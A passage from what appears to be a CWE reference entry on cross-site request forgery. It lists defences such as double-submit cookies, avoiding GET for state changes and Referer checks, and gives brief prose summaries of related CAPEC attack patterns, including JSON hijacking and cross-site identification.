- When a user visits a site, the site should generate a pseudorandom value and set it as a cookie on the user's machine. The site should require every form submission to include this value as a form value and also as a cookie value. When a POST request is sent to the site, the request should only be considered valid if the form value and the cookie value are the same.
- Because of the same-origin policy, an attacker cannot read or modify the value stored in the cookie. To successfully submit a form on behalf of the user, the attacker would have to correctly guess the pseudorandom value. If the pseudorandom value is cryptographically strong, this will be prohibitively difficult.
- This technique requires Javascript, so it may not work for browsers that have Javascript disabled. [REF-331]
Mitigation
Do not use the GET method for any request that triggers a state change.
Mitigation
Check the HTTP Referer header to see if the request originated from an expected page. This could break legitimate functionality, because users or proxies may have disabled sending the Referer for privacy reasons.
CAPEC-111: JSON Hijacking (aka JavaScript Hijacking)
An attacker targets a system that uses JavaScript Object Notation (JSON) as a transport mechanism between the client and the server (common in Web 2.0 systems using AJAX) to steal possibly confidential information transmitted from the server back to the client inside the JSON object by taking advantage of the loophole in the browser's Same Origin Policy that does not prohibit JavaScript from one website to be included and executed in the context of another website.
CAPEC-462: Cross-Domain Search Timing
An attacker initiates cross domain HTTP / GET requests and times the server responses. The timing of these responses may leak important information on what is happening on the server. Browser's same origin policy prevents the attacker from directly reading the server responses (in the absence of any other weaknesses), but does not prevent the attacker from timing the responses to requests that the attacker issued cross domain.
CAPEC-467: Cross Site Identification
An attacker harvests identifying information about a victim via an active session that the victim's browser has with a social networking site. A victim may have the social networking site open in one tab or perhaps is simply using the "remember me" feature to keep their session with the social networking site active. An attacker induces a payload to execute in the victim's browser that transparently to the victim initiates a request to the social networking site (e.g., via available social network site APIs) to retrieve identifying information about a victim. While some of this information may be public, the attacker is able to harvest this information in context and may use it for further attacks on the user (e.g., spear phishing).
CAPEC-62: Cross Site Request Forgery
An attacker crafts malicious web links and distributes them (via web pages, email, etc.), typically in a targeted manner, hoping to induce users to click on the link and execute the malicious action against some third-party application. If successful, the action embedded in the malicious link will be processed and accepted by the targeted application with the users' privilege level. This type of attack leverages the persistence and implicit trust placed in user session cookies by many web applications today. In such an architecture, once the user authenticates to an application and a session cookie is created on the user's system, all following transactions for that session are authenticated using that cookie including potential actions initiated by an attacker and simply "riding" the existing session cookie.